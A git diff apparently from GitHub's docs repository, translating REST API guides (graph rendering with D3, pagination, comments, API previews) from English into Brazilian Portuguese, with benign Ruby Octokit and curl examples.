+Agora é hora de fazer uma confissão: o atributo da `linguagem` dentro dos repositórios identifica apenas a linguagem "primária" definida. Isso significa que se você tiver um repositório que combina várias linguagens. aquela que tiver mais bytes de código será considerada a linguagem primária.
 
-Let's combine a few API calls to get a _true_ representation of which language
-has the greatest number of bytes written across all our code. A [treemap][D3 treemap]
-should be a great way to visualize the sizes of our coding languages used, rather
-than simply the count. We'll need to construct an array of objects that looks
-something like this:
+Vamos combinar algumas chamadas de API para obter uma _verdadeira_ representação de qual linguagem tem o maior número de bytes escritos em todo o nosso código. Um [treemap][D3 treemap] deve ser uma ótima forma de visualizar os tamanhos das nossas linguagens de codificação usadas, em vez de simplesmente contar. Precisamos construir um array de objetos que se pareçam com isto:
 
 ``` json
 [ { "name": "language1", "size": 100},
@@ -270,8 +235,7 @@ something like this:
 ]
 ```
 
-Since we already have a list of repositories above, let's inspect each one, and
-call [the language listing API method][language API]:
+Como já temos uma lista de repositórios acima, vamos inspecionar cada um e chamar o [método da API para listar a linguagem][language API]:
 
 ``` ruby
 repos.each do |repo|
@@ -280,7 +244,7 @@ repos.each do |repo|
 end
 ```
 
-From there, we'll cumulatively add each language found to a list of languages:
+A partir daí, adicionaremos cumulativamente cada linguagem encontrado a uma "lista-mestre":
 
 ``` ruby
 repo_langs.each do |lang, count|
@@ -292,7 +256,7 @@ repo_langs.each do |lang, count|
 end
 ```
 
-After that, we'll format the contents into a structure that D3 understands:
+Em seguida vamos formatar o conteúdo em uma estrutura que o D3 entende:
 
 ``` ruby
 language_obj.each do |lang, count|
@@ -303,16 +267,15 @@ end
 language_bytes = [ :name => "language_bytes", :elements => language_byte_count]
 ```
 
-(For more information on D3 tree map magic, check out [this simple tutorial][language API].)
+(Para obter mais informações sobre um mapa de árvore do D3, confira [este tutorial simples][language API].)
 
-To wrap up, we pass this JSON information over to the same ERB template:
+Para concluir, passamos esta informação JSON para o mesmo modelo de ERB:
 
 ``` ruby
 erb :lang_freq, :locals => { :languages => languages.to_json, :language_byte_count => language_bytes.to_json}
 ```
 
-Like before, here's a bunch of JavaScript that you can drop
-directly into your template:
+Conforme fizemos anteriormente, aqui está um monte de JavaScript que você pode soltar diretamente no seu modelo:
 
 ``` html
 <div id="byte_freq"></div>
@@ -362,19 +325,18 @@ directly into your template:
 </script>
 ```
 
-Et voila! Beautiful rectangles containing your repo languages, with relative
-proportions that are easy to see at a glance. You might need to
-tweak the height and width of your treemap, passed as the first two
-arguments to `drawTreemap` above, to get all the information to show up properly.
+Et voila! São lindos retângulos que contém suas linguagens de repositório, com proporções relativas de que são fáceis de ver rapidamente. Talvez você precise ajustar a altura e a largura do diagrama da sua árvore, passado como os dois primeiros argumentos para `drawTreemap` acima, para obter todas as informações para serem exibidas corretamente.
 
 
 [D3.js]: http://d3js.org/
 [basics-of-authentication]: /rest/guides/basics-of-authentication
+[basics-of-authentication]: /rest/guides/basics-of-authentication
 [sinatra auth github]: https://github.com/atmos/sinatra_auth_github
 [Octokit]: https://github.com/octokit/octokit.rb
+[Octokit]: https://github.com/octokit/octokit.rb
 [D3 mortals]: http://www.recursion.org/d3-for-mere-mortals/
-[D3 treemap]: https://www.d3-graph-gallery.com/treemap.html 
+[D3 treemap]: https://www.d3-graph-gallery.com/treemap.html
+[language API]: /rest/reference/repos#list-repository-languages
 [language API]: /rest/reference/repos#list-repository-languages
-[simple tree map]: http://2kittymafiasoftware.blogspot.com/2011/09/simple-treemap-visualization-with-d3.html
 [platform samples]: https://github.com/github/platform-samples/tree/master/api/ruby/rendering-data-as-graphs
 [new oauth application]: https://github.com/settings/applications/new
diff --git a/translations/pt-BR/content/rest/guides/traversing-with-pagination.md b/translations/pt-BR/content/rest/guides/traversing-with-pagination.md
index 4b13c46e3d..35c94e9588 100644
--- a/translations/pt-BR/content/rest/guides/traversing-with-pagination.md
+++ b/translations/pt-BR/content/rest/guides/traversing-with-pagination.md
@@ -1,6 +1,6 @@
 ---
-title: Traversing with pagination
-intro: Explore how to use pagination to manage your responses with some examples using the Search API.
+title: Deslocamento com paginação
+intro: Explore como usar a paginação para gerenciar as suas respostas com alguns exemplos usando a API de pesquisa.
 redirect_from:
   - /guides/traversing-with-pagination
   - /v3/guides/traversing-with-pagination
@@ -11,105 +11,75 @@ versions:
   ghec: '*'
 topics:
   - API
-shortTitle: Traverse with pagination
+shortTitle: Deslocar-se com paginação
 ---
 
-The {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API provides a vast wealth of information for developers to consume.
-Most of the time, you might even find that you're asking for _too much_ information,
-and in order to keep our servers happy, the API will automatically [paginate the requested items](/rest/overview/resources-in-the-rest-api#pagination).
+The {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API provides a vast wealth of information for developers to consume. Na maioria das vezes, você pode até achar que está pedindo _muita_ informação, e, para manter nossos servidores satisfeitos, a API irá automaticamente [paginar os itens solicitados](/rest/overview/resources-in-the-rest-api#pagination).
 
-In this guide, we'll make some calls to the Search API, and iterate over
-the results using pagination. You can find the complete source code for this project
-in the [platform-samples][platform samples] repository.
+Neste guia, vamos fazer algumas chamadas para a API de pesquisa e iterar sobre os resultados usando a paginação. Você pode encontrar o código-fonte completo para este projeto no repositório de [platform-samples][platform samples].
 
 {% data reusables.rest-api.dotcom-only-guide-note %}
 
-## Basics of Pagination
+## Fundamentos da paginação
 
-To start with, it's important to know a few facts about receiving paginated items:
+Para começar, é importante conhecer alguns fatos sobre o recebimento de itens paginados:
 
-1. Different API calls respond with different defaults. For example, a call to
-[List public repositories](/rest/reference/repos#list-public-repositories)
-provides paginated items in sets of 30, whereas a call to the GitHub Search API
-provides items in sets of 100
-2. You can specify how many items to receive (up to a maximum of 100); but,
-3. For technical reasons, not every endpoint behaves the same. For example,
-[events](/rest/reference/activity#events) won't let you set a maximum for items to receive.
-Be sure to read the documentation on how to handle paginated results for specific endpoints.
+1. Diferentes chamadas de API respondem com diferentes padrões. Por exemplo, uma chamada para [Listar repositórios públicos](/rest/reference/repos#list-public-repositories) fornece itens paginados em conjuntos de 30, enquanto uma chamada para a API de Pesquisa do GitHub fornece itens em conjuntos de 100
+2. Você pode especificar quantos itens receber (até um máximo de 100); mas
+3. Por razões técnicas, nem todos os pontos de referência comportam-se da mesma forma. Por exemplo, os [eventos](/rest/reference/activity#events) não permitirão que você defina um máximo de itens a receber. Leia a documentação sobre como lidar com resultados paginados para pontos de extremidade específicos.
 
-Information about pagination is provided in [the Link header](https://datatracker.ietf.org/doc/html/rfc5988)
-of an API call. For example, let's make a curl request to the search API, to find
-out how many times Mozilla projects use the phrase `addClass`:
+As informações sobre paginação são fornecidas no [cabeçalho do link](https://datatracker.ietf.org/doc/html/rfc5988) de uma chamada de API. Por exemplo, vamos fazer uma solicitação de curl para a API de pesquisa, para descobrir quantas vezes os projetos da Mozilla usam a frase `addClass`:
 
 ```shell
 $ curl -I "https://api.github.com/search/code?q=addClass+user:mozilla"
 ```
 
-The `-I` parameter indicates that we only care about the headers, not the actual
-content. In examining the result, you'll notice some information in the Link header
-that looks like this:
+O parâmetro `-I` indica que só nos importamos com os cabeçalhos, não com o conteúdo real. Ao examinar o resultado, você notará algumas informações no cabeçalho do link que se parecem com isso:
 
     Link: <https://api.github.com/search/code?q=addClass+user%3Amozilla&page=2>; rel="next",
       <https://api.github.com/search/code?q=addClass+user%3Amozilla&page=34>; rel="last"
 
-Let's break that down. `rel="next"` says that the next page is `page=2`. This makes
-sense, since by default, all paginated queries start at page `1.` `rel="last"`
-provides some more information, stating that the last page of results is on page `34`.
-Thus, we have 33 more pages of information about `addClass` that we can consume.
-Nice!
+Vamos explicar isso. `rel="next"` diz que a próxima página é `page=2`. Isto faz sentido, pois, por padrão, todas as consultas paginadas iniciam na página `1.` e `rel="última"` fornece mais algumas informações, afirmando que a última página com resultados está na página `34`. Assim, temos mais 33 páginas de informações sobre o `addClass` que podemos consumir. Ótimo!
 
-**Always** rely on these link relations provided to you. Don't try to guess or construct your own URL.
+**Sempre** depende destas relações de link fornecidas a você. Não tente adivinhar nem construir a sua própria URL.
 
-### Navigating through the pages
+### Navegando pelas páginas
 
-Now that you know how many pages there are to receive, you can start navigating
-through the pages to consume the results. You do this by passing in a `page`
-parameter. By default, `page` always starts at `1`. Let's jump ahead to page 14
-and see what happens:
+Agora que você sabe quantas páginas há para receber, você pode começar a navegar pelas páginas para consumir os resultados. Você pode fazer isso passando o parâmetro </code>página`. Por padrão, a <code>página` sempre começa em `1`. Vamos pular para a página 14 e ver o que acontece:
 
 ```shell
 $ curl -I "https://api.github.com/search/code?q=addClass+user:mozilla&page=14"
 ```
 
-Here's the link header once more:
+Aqui está o cabeçalho do link mais uma vez:
 
     Link: <https://api.github.com/search/code?q=addClass+user%3Amozilla&page=15>; rel="next",
       <https://api.github.com/search/code?q=addClass+user%3Amozilla&page=34>; rel="last",
       <https://api.github.com/search/code?q=addClass+user%3Amozilla&page=1>; rel="first",
       <https://api.github.com/search/code?q=addClass+user%3Amozilla&page=13>; rel="prev"
 
-As expected, `rel="next"` is at 15, and `rel="last"` is still 34. But now we've
-got some more information: `rel="first"` indicates the URL for the _first_ page,
-and more importantly, `rel="prev"` lets you know the page number of the previous
-page. Using this information, you could construct some UI that lets users jump
-between the first, previous, next, or last list of results in an API call.
+Como esperado, `rel="next"` está em 15 e `rel="last"` ainda está em 34. Mas agora temos mais informações: `rel="first"` indica a URL para a _primeira_ página e, mais importante, `rel="prev"` informa o número da página anterior. Ao usar essas informações, você pode construir uma interface de usuário que permite que esses pulem entre a lista de resultados primeira, anterior ou seguinte em uma chamada de API.
 
-### Changing the number of items received
+### Alterar o número de itens recebidos
 
-By passing the `per_page` parameter, you can specify how many items you want
-each page to return, up to 100 items. Let's try asking for 50 items about `addClass`:
+Ao passar o parâmetro `per_page`, você pode especificar quantos itens você deseja que cada página retorne, até o limite de 100 itens. Vamos tentar pedir 50 itens sobre `addClass`:
 
 ```shell
 $ curl -I "https://api.github.com/search/code?q=addClass+user:mozilla&per_page=50"
 ```
 
-Notice what it does to the header response:
+Observe o que ele faz com a resposta do cabeçalho:
 
     Link: <https://api.github.com/search/code?q=addClass+user%3Amozilla&per_page=50&page=2>; rel="next",
       <https://api.github.com/search/code?q=addClass+user%3Amozilla&per_page=50&page=20>; rel="last"
 
-As you might have guessed, the `rel="last"` information says that the last page
-is now 20. This is because we are asking for more information per page about
-our results.
+Como você deve ter imaginado, as informações `rel="last"` dizem que a última página agora é a 20. Isso ocorre porque estamos pedindo mais informações por página sobre os nossos resultados.
 
-## Consuming the information
+## Consumir informações
 
-You don't want to be making low-level curl calls just to be able to work with
-pagination, so let's write a little Ruby script that does everything we've
-just described above.
+Você não deseja fazer chamadas de curl de nível baixo apenas para poder trabalhar com a paginação. Portanto, vamos escrever um pequeno script de Ruby que faz tudo o que descrevemos acima.
 
-As always, first we'll require [GitHub's Octokit.rb][octokit.rb] Ruby library, and
-pass in our [personal access token][personal token]:
+Como sempre, primeiro solicitaremos que a biblioteca do Ruby [Octokit.rb do GitHub][octokit.rb] e passaremos nosso [token de acesso pessoal][personal token]:
 
 ``` ruby
 require 'octokit'
@@ -119,26 +89,16 @@ require 'octokit'
 client = Octokit::Client.new :access_token => ENV['MY_PERSONAL_TOKEN']
 ```
 
-Next, we'll execute the search, using Octokit's `search_code` method. Unlike
-using `curl`, we can also immediately retrieve the number of results, so let's
-do that:
+Em seguida, executaremos a pesquisa, usando o método `search_code` do Octokit. Ao contrário de usar `curl`, também podemos recuperar imediatamente o número de resultados. Portanto, vamos fazer isso:
 
 ``` ruby
 results = client.search_code('addClass user:mozilla')
 total_count = results.total_count
 ```
 
-Now, let's grab the number of the last page, similar to `page=34>; rel="last"`
-information in the link header. Octokit.rb support pagination information through
-an implementation called "[Hypermedia link relations][hypermedia-relations]."
-We won't go into detail about what that is, but, suffice to say, each element
-in the `results` variable has a hash called `rels`, which can contain information
-about `:next`, `:last`, `:first`, and `:prev`, depending on which result you're
-on. These relations also contain information about the resulting URL, by calling
-`rels[:last].href`.
+Agora, vamos pegar o número da última página, de forma similar à informação `page=34>; rel="last"` no cabeçalho do link. O Octokit.rb é compatível com as informações de paginação através de uma implementação chamada "[Relações de link de hipermídia][hypermedia-relations]." Não vamos entrar em detalhes sobre o que isso é, mas basta dizer cada elemento na variável `resultados` tem um hash chamado `rels`, que pode conter informações sobre `:next`, `:last`, `:first` e `:prev`, dependendo do resultado em que você está. Essas relações também contêm informações sobre a URL resultante, chamando `rels[:last].href`.
 
-Knowing this, let's grab the page number of the last result, and present all
-this information to the user:
+Sabendo disso, vamos pegar o número de página do último resultado e apresentar todas essas informações para o usuário:
 
 ``` ruby
 last_response = client.last_response
@@ -147,13 +107,7 @@ number_of_pages = last_response.rels[:last].href.match(/page=(\d+).*$/)[1]
 puts "There are #{total_count} results, on #{number_of_pages} pages!"
 ```
 
-Finally, let's iterate through the results. You could do this with a loop `for i in 1..number_of_pages.to_i`,
-but instead, let's follow the `rels[:next]` headers to retrieve information from
-each page. For the sake of simplicity, let's just grab the file path of the first
-result from each page. To do this, we'll need a loop; and at the end of every loop,
-we'll retrieve the data set for the next page by following the `rels[:next]` information.
-The loop will finish when there is no `rels[:next]` information to consume (in other
-words, we are at `rels[:last]`). It might look something like this:
+Finalmente, vamos iterar entre os resultados. Você poderia fazer isso com um loop `for i in 1..number_of_pages.to_i`, mas, em vez disso, vamos seguir os cabeçalhos `rels[:next]` para recuperar informações de cada página. Por uma questão de simplicidade, vamos apenas pegar o caminho do arquivo do primeiro resultado de cada página. Para fazer isso, precisaremos de um loop; e, no final de cada loop, recuperaremos os dados definidos para a próxima página seguindo as informações `rels[:next]`. O loop irá terminar quando não houver informações de `rels[:next]` para consumir (em outras palavras, quando estivermos em `rels[:last]`). Pode parecer como isso:
 
 ``` ruby
 puts last_response.data.items.first.path
@@ -163,9 +117,7 @@ until last_response.rels[:next].nil?
 end
 ```
 
-Changing the number of items per page is extremely simple with Octokit.rb. Simply
-pass a `per_page` options hash to the initial client construction. After that,
-your code should remain intact:
+Alterar o número de itens por página é extremamente simples com Octokit.rb. Simplesmente passe um hash de opções `per_page` para a construção inicial do cliente. Depois disso, seu código deverá permanecer intacto:
 
 ``` ruby
 require 'octokit'
@@ -192,17 +144,15 @@ until last_response.rels[:next].nil?
 end
 ```
 
-## Constructing Pagination Links
+## Construir links de paginação
 
-Normally, with pagination, your goal isn't to concatenate all of the possible
-results, but rather, to produce a set of navigation, like this:
+Normalmente, com a paginação, seu objetivo não é concatenar todos os resultados possíveis, mas produzir um conjunto de navegação, como esse:
 
-![Sample of pagination links](/assets/images/pagination_sample.png)
+![Amostra dos links de paginação](/assets/images/pagination_sample.png)
 
-Let's sketch out a micro-version of what that might entail.
+Vamos esboçar uma microversão do que isso poderia implicar.
 
-From the code above, we already know we can get the `number_of_pages` in the
-paginated results from the first call:
+A partir do código acima, já sabemos que podemos obter o `number_of_pages` nos resultados paginados da primeira chamada:
 
 ``` ruby
 require 'octokit'
@@ -221,7 +171,7 @@ puts last_response.rels[:last].href
 puts "There are #{total_count} results, on #{number_of_pages} pages!"
 ```
 
-From there, we can construct a beautiful ASCII representation of the number boxes:
+A partir daí, podemos construir uma linda representação em ASCII das caixas numéricas:
 ``` ruby
 numbers = ""
 for i in 1..number_of_pages.to_i
@@ -230,8 +180,7 @@ end
 puts numbers
 ```
 
-Let's simulate a user clicking on one of these boxes, by constructing a random
-number:
+Vamos simular um usuário clicando em uma dessas caixas, construindo um número aleatório:
 
 ``` ruby
 random_page = Random.new
@@ -240,15 +189,13 @@ random_page = random_page.rand(1..number_of_pages.to_i)
 puts "A User appeared, and clicked number #{random_page}!"
 ```
 
-Now that we have a page number, we can use Octokit to explicitly retrieve that
-individual page, by passing the `:page` option:
+Agora que temos um número de página, podemos usar o Octokit para recuperar explicitamente essa página individual, passando a opção `:page`:
 
 ``` ruby
 clicked_results = client.search_code('addClass user:mozilla', :page => random_page)
 ```
 
-If we wanted to get fancy, we could also grab the previous and next pages, in
-order to generate links for back (`<<`) and forward (`>>`) elements:
+Se quiséssemos ser elegantes, também poderíamos pegar as páginas anterior e as próximas, para gerar links dos elementos anterior (`<<`) e posterior (`>>`):
 
 ``` ruby
 prev_page_href = client.last_response.rels[:prev] ? client.last_response.rels[:prev].href : "(none)"
@@ -258,9 +205,7 @@ puts "The prev page link is #{prev_page_href}"
 puts "The next page link is #{next_page_href}"
 ```
 
-[pagination]: /rest#pagination
 [platform samples]: https://github.com/github/platform-samples/tree/master/api/ruby/traversing-with-pagination
 [octokit.rb]: https://github.com/octokit/octokit.rb
 [personal token]: /articles/creating-an-access-token-for-command-line-use
 [hypermedia-relations]: https://github.com/octokit/octokit.rb#pagination
-[listing commits]: /rest/reference/commits#list-commits
diff --git a/translations/pt-BR/content/rest/guides/working-with-comments.md b/translations/pt-BR/content/rest/guides/working-with-comments.md
index 3b5736faea..3a673e7787 100644
--- a/translations/pt-BR/content/rest/guides/working-with-comments.md
+++ b/translations/pt-BR/content/rest/guides/working-with-comments.md
@@ -1,6 +1,6 @@
 ---
-title: Working with comments
-intro: 'Using the REST API, you can access and manage comments in your pull requests, issues, or commits.'
+title: Trabalhar com comentários
+intro: 'Ao usar a API REST, você pode acessar e gerenciar comentários nos seus pull requests, problemas ou commits.'
 redirect_from:
   - /guides/working-with-comments
   - /v3/guides/working-with-comments
@@ -15,27 +15,17 @@ topics:
 
 
 
-For any Pull Request, {% data variables.product.product_name %} provides three kinds of comment views:
-[comments on the Pull Request][PR comment] as a whole, [comments on a specific line][PR line comment] within the Pull Request,
-and [comments on a specific commit][commit comment] within the Pull Request. 
+Para qualquer pull request, {% data variables.product.product_name %} fornece três tipos de visualizações de comentários: [comentários no Pull Request][PR comment] como um todo, [comentários em uma linha específica][PR line comment] dentro do Pull Request, e [comentários em um commit específico][commit comment] dentro do Pull Request.
 
-Each of these types of comments goes through a different portion of the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API.
-In this guide, we'll explore how you can access and manipulate each one. For every
-example, we'll be using [this sample Pull Request made][sample PR] on the "octocat"
-repository. As always, samples can be found in [our platform-samples repository][platform-samples].
+Each of these types of comments goes through a different portion of the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API. Neste guia, vamos explorar como você pode acessar e manipular cada um. Para cada exemplo, usaremos [esta amostra de Pull Request feita][sample PR] no repositório de "octocat". Como sempre, as amostras podem ser encontradas no [nosso repositório platform-samples][platform-samples].
 
-## Pull Request Comments
+## Comentários do Pull Request
 
-To access comments on a Pull Request, you'll go through [the Issues API][issues].
-This may seem counterintuitive at first. But once you understand that a Pull
-Request is just an Issue with code, it makes sense to use the Issues API to
-create comments on a Pull Request.
+Para acessar comentários em um Pull Request, você passará [pela API de Problemas][issues]. A princípio, isso pode parecer contraintuitivo. Mas depois que você entender que um Pull Request é apenas um problema com o código, faz sentido usar a API de problemas para criar comentários em um Pull Request.
 
-We'll demonstrate fetching Pull Request comments by creating a Ruby script using
-[Octokit.rb][octokit.rb]. You'll also want to create a [personal access token][personal token].
+Nós demonstraremos como buscar comentários de Pull Request criando um script do Ruby usando [Octokit.rb][octokit.rb]. Você também deverá criar um [token de acesso pessoal][personal token].
 
-The following code should help you get started accessing comments from a Pull Request
-using Octokit.rb:
+O código a seguir deve ajudá-lo a começar a acessar comentários de um pedido de Pull Request usando Octokit.rb:
 
 ``` ruby
 require 'octokit'
@@ -53,18 +43,13 @@ client.issue_comments("octocat/Spoon-Knife", 1176).each do |comment|
 end
 ```
 
-Here, we're specifically calling out to the Issues API to get the comments (`issue_comments`),
-providing both the repository's name (`octocat/Spoon-Knife`), and the Pull Request ID
-we're interested in (`1176`). After that, it's simply a matter of iterating through
-the comments to fetch information about each one.
+Aqui, estamos especificamente chamando a API de problemas para obter os comentários (`issue_comments`), fornecendo o nome do repositório (`octocat/Spoon-Knife`) e o ID do Pull Request no qual estamos interessados (`1176`). Depois disso, trata-se simplesmente de um assunto de iteração através dos comentários para buscar informações sobre cada um.
 
-## Pull Request Comments on a Line
+## Comentários em uma linha de Pull Request
 
-Within the diff view, you can start a discussion on a particular aspect of a singular
-change made within the Pull Request. These comments occur on the individual lines
-within a changed file. The endpoint URL for this discussion comes from [the Pull Request Review API][PR Review API].
+Na visualização de diferenças, você pode iniciar uma discussão sobre um aspecto específico de uma mudança singular feita dentro do Pull Request. Estes comentários ocorrem nas linhas individuais dentro de um arquivo alterado. A URL do ponto de extremidade para esta discussão vem da [API da revisão de pull request][PR Review API].
 
-The following code fetches all the Pull Request comments made on files, given a single Pull Request number:
+O código a seguir busca todos os comentários de pull request feitos em arquivos, dado um único número de pull request:
 
 ``` ruby
 require 'octokit'
@@ -84,19 +69,13 @@ client.pull_request_comments("octocat/Spoon-Knife", 1176).each do |comment|
 end
 ```
 
-You'll notice that it's incredibly similar to the example above. The difference
-between this view and the Pull Request comment is the focus of the conversation.
-A comment made on a Pull Request should be reserved for discussion or ideas on
-the overall direction of the code. A comment made as part of a Pull Request review should
-deal specifically with the way a particular change was implemented within a file.
+Você perceberá que ele é incrivelmente semelhante ao exemplo acima. A diferença entre esta visualização e o comentário de Pull Request é o foco da conversa. Um comentário feito em um Pull Request deve ser reservado para discussão ou ideias sobre a direção geral do código. Um comentário feito como parte de uma revisão de Pull Request deve lidar especificamente com a forma como uma determinada alteração foi implementada em um arquivo.
 
-## Commit Comments
+## Comentários de commit
 
-The last type of comments occur specifically on individual commits. For this reason,
-they make use of [the commit comment API][commit comment API].
+O último tipo de comentários ocorre especificamente nos commits individuais. For this reason, they make use of [the commit comment API][commit comment API].
 
-To retrieve the comments on a commit, you'll want to use the SHA1 of the commit.
-In other words, you won't use any identifier related to the Pull Request. Here's an example:
+Para recuperar os comentários em um commit, você deverá usar o SHA1 do commit. Em outras palavras, você não usará nenhum identificador relacionado ao Pull Request. Aqui está um exemplo:
 
 ``` ruby
 require 'octokit'
@@ -114,8 +93,7 @@ client.commit_comments("octocat/Spoon-Knife", "cbc28e7c8caee26febc8c013b0adfb97a
 end
 ```
 
-Note that this API call will retrieve single line comments, as well as comments made
-on the entire commit.
+Observe que esta chamada de API recuperará comentários de linha única, bem como comentários feitos em todo o commit.
 
 [PR comment]: https://github.com/octocat/Spoon-Knife/pull/1176#issuecomment-24114792
 [PR line comment]: https://github.com/octocat/Spoon-Knife/pull/1176#discussion_r6252889
diff --git a/translations/pt-BR/content/rest/index.md b/translations/pt-BR/content/rest/index.md
index 789e0c3023..ef6097d84c 100644
--- a/translations/pt-BR/content/rest/index.md
+++ b/translations/pt-BR/content/rest/index.md
@@ -1,24 +1,24 @@
 ---
-title: GitHub REST API
-shortTitle: REST API
+title: API de REST do GitHub
+shortTitle: API REST
 intro: 'To create integrations, retrieve data, and automate your workflows, build with the {% data variables.product.prodname_dotcom %} REST API.'
 introLinks:
   quickstart: /rest/guides/getting-started-with-the-rest-api
 featuredLinks:
   guides:
-  - /rest/guides/getting-started-with-the-rest-api
-  - /rest/guides/basics-of-authentication
-  - /rest/guides/best-practices-for-integrators
+    - /rest/guides/getting-started-with-the-rest-api
+    - /rest/guides/basics-of-authentication
+    - /rest/guides/best-practices-for-integrators
   popular:
-  - /rest/overview/resources-in-the-rest-api
-  - /rest/overview/other-authentication-methods
-  - /rest/overview/troubleshooting
-  - /rest/overview/endpoints-available-for-github-apps
-  - /rest/overview/openapi-description
+    - /rest/overview/resources-in-the-rest-api
+    - /rest/overview/other-authentication-methods
+    - /rest/overview/troubleshooting
+    - /rest/overview/endpoints-available-for-github-apps
+    - /rest/overview/openapi-description
   guideCards:
-  - /rest/guides/delivering-deployments
-  - /rest/guides/getting-started-with-the-checks-api
-  - /rest/guides/traversing-with-pagination
+    - /rest/guides/delivering-deployments
+    - /rest/guides/getting-started-with-the-checks-api
+    - /rest/guides/traversing-with-pagination
 changelog:
   label: 'api, apis'
 layout: product-landing
diff --git a/translations/pt-BR/content/rest/overview/api-previews.md b/translations/pt-BR/content/rest/overview/api-previews.md
index 7cd8e65bb0..8656133f76 100644
--- a/translations/pt-BR/content/rest/overview/api-previews.md
+++ b/translations/pt-BR/content/rest/overview/api-previews.md
@@ -1,6 +1,6 @@
 ---
-title: API previews
-intro: You can use API previews to try out new features and provide feedback before these features become official.
+title: Pré-visualizações da API
+intro: Você pode usar pré-visualizações da API para testar novos recursos e fornecer feedback antes que estes recursos se tornem oficiais.
 redirect_from:
   - /v3/previews
 versions:
@@ -13,232 +13,210 @@ topics:
 ---
 
 
-API previews let you try out new APIs and changes to existing API methods before they become part of the official GitHub API.
+Pré-visualizações da API permitem que você experimente novas APIs e alterações nos métodos de API existentes antes de se tornarem parte da API oficial do GitHub.
 
-During the preview period, we may change some features based on developer feedback. If we do make changes, we'll announce them on the [developer blog](https://developer.github.com/changes/) without advance notice.
+Durante o período de pré-visualização, poderemos alterar alguns recursos com base no feedback do desenvolvedor. Se fizermos alterações, iremos anunciá-las no [blogue do desenvolvedor](https://developer.github.com/changes/) sem aviso prévio.
 
-To access an API preview, you'll need to provide a custom [media type](/rest/overview/media-types) in the `Accept` header for your requests. Feature documentation for each preview specifies which custom media type to provide.
+Para acessar uma pré-visualização da API, você precisará fornecer um [tipo de mídia](/rest/overview/media-types) personalizado no cabeçalho `Aceitar` para suas solicitações. A documentação dos recursos para cada pré-visualização especifica qual tipo de mídia personalizado deve ser fornecido.
 
 {% ifversion ghes < 3.3 %}
 
-## Enhanced deployments
+## Implementações aprimoradas
 
-Exercise greater control over [deployments](/rest/reference/repos#deployments) with more information and finer granularity.
+Exerça um maior controle sobre as [implantações](/rest/reference/repos#deployments) com mais informações e uma granularidade mais precisa.
 
-**Custom media type:** `ant-man-preview`
-**Announced:** [2016-04-06](https://developer.github.com/changes/2016-04-06-deployment-and-deployment-status-enhancements/)
+**Tipo de mídia personalizada:** `ant-man-preview` **Anunciado em:** [2016-04-06](https://developer.github.com/changes/2016-04-06-deployment-and-deployment-status-enhancements/)
 
 {% endif %}
 
 {% ifversion ghes < 3.3 %}
 
-## Reactions
+## Reações
 
-Manage [reactions](/rest/reference/reactions) for commits, issues, and comments.
+Gerencie as [reações](/rest/reference/reactions) de commits, problemas e comentários.
 
-**Custom media type:** `squirrel-girl-preview`
-**Announced:** [2016-05-12](https://developer.github.com/changes/2016-05-12-reactions-api-preview/)
-**Update:** [2016-06-07](https://developer.github.com/changes/2016-06-07-reactions-api-update/)
+**Tipo de mídia personalizado:** `squirrel-girl-preview` **Anunciado en:** [2016-05-12](https://developer.github.com/changes/2016-05-12-reactions-api-preview/) **Atualizado em:** [2016-06-07](https://developer.github.com/changes/2016-06-07-reactions-api-update/)
 
 {% endif %}
 
 {% ifversion ghes < 3.3 %}
 
-## Timeline
+## Linha do tempo
 
-Get a [list of events](/rest/reference/issues#timeline) for an issue or pull request.
+Obter uma [lista de eventos](/rest/reference/issues#timeline) para um problema ou pull request.
 
-**Custom media type:** `mockingbird-preview`
-**Announced:** [2016-05-23](https://developer.github.com/changes/2016-05-23-timeline-preview-api/)
+**Tipo de mídia personalizada:** `mockingbird-preview` **Anunciado em:** [2016-05-23](https://developer.github.com/changes/2016-05-23-timeline-preview-api/)
 
 {% endif %}
 
 {% ifversion ghes %}
-## Pre-receive environments
+## Ambientes pre-receive
 
-Create, list, update, and delete environments for pre-receive hooks.
+Cria, lista, atualiza e exclui ambientes para hooks pre-receive.
 
-**Custom media type:** `eye-scream-preview`
-**Announced:** [2015-07-29](/rest/reference/enterprise-admin#pre-receive-environments)
+**Tipo de mídia personalizada:** `eye-scream-preview` **Anunciado em:** [2015-07-29](/rest/reference/enterprise-admin#pre-receive-environments)
 {% endif %}
 
 {% ifversion ghes < 3.3 %}
-## Projects
+## Projetos
 
-Manage [projects](/rest/reference/projects).
+Gerencie [projetos](/rest/reference/projects).
 
-**Custom media type:** `inertia-preview`
-**Announced:** [2016-09-14](https://developer.github.com/changes/2016-09-14-projects-api/)
-**Update:** [2016-10-27](https://developer.github.com/changes/2016-10-27-changes-to-projects-api/)
+**Tipo de mídia personalizado:** `inertia-preview` **Announced:** [2016-09-14](https://developer.github.com/changes/2016-09-14-projects-api/) **Atualizado em:** [2016-10-27](https://developer.github.com/changes/2016-10-27-changes-to-projects-api/)
 {% endif %}
 {% ifversion ghes < 3.3 %}
 
-## Commit search
+## Pesquisa de commit
 
-[Search commits](/rest/reference/search).
+[Pesquisa commits](/rest/reference/search).
 
-**Custom media type:** `cloak-preview`
-**Announced:** [2017-01-05](https://developer.github.com/changes/2017-01-05-commit-search-api/)
+**Tipo de mídia personalizada:** `cloak-preview` **Anunciado em:** [2017-01-05](https://developer.github.com/changes/2017-01-05-commit-search-api/)
 {% endif %}
 {% ifversion ghes < 3.3 %}
 
-## Repository topics
+## Tópicos do repositório
 
-View a list of [repository topics](/articles/about-topics/) in [calls](/rest/reference/repos) that return repository results.
+Ver uma lista dos [tópicos do repositório](/articles/about-topics/) em [chamadas](/rest/reference/repos) que retornam resultados do repositório.
 
-**Custom media type:** `mercy-preview`
-**Announced:** [2017-01-31](https://github.com/blog/2309-introducing-topics)
+**Tipo de mídia personalizada:** `mercy-preview` **Anunciado em:** [2017-01-31](https://github.com/blog/2309-introducing-topics)
 {% endif %}
 {% ifversion ghes < 3.3 %}
 
-## Codes of conduct
+## Códigos de conduta
 
-View all [codes of conduct](/rest/reference/codes-of-conduct) or get which code of conduct a repository has currently.
+Veja todos os [códigos de conduta](/rest/reference/codes-of-conduct) ou obtenha qual código de conduta um repositório tem atualmente.
 
-**Custom media type:** `scarlet-witch-preview`
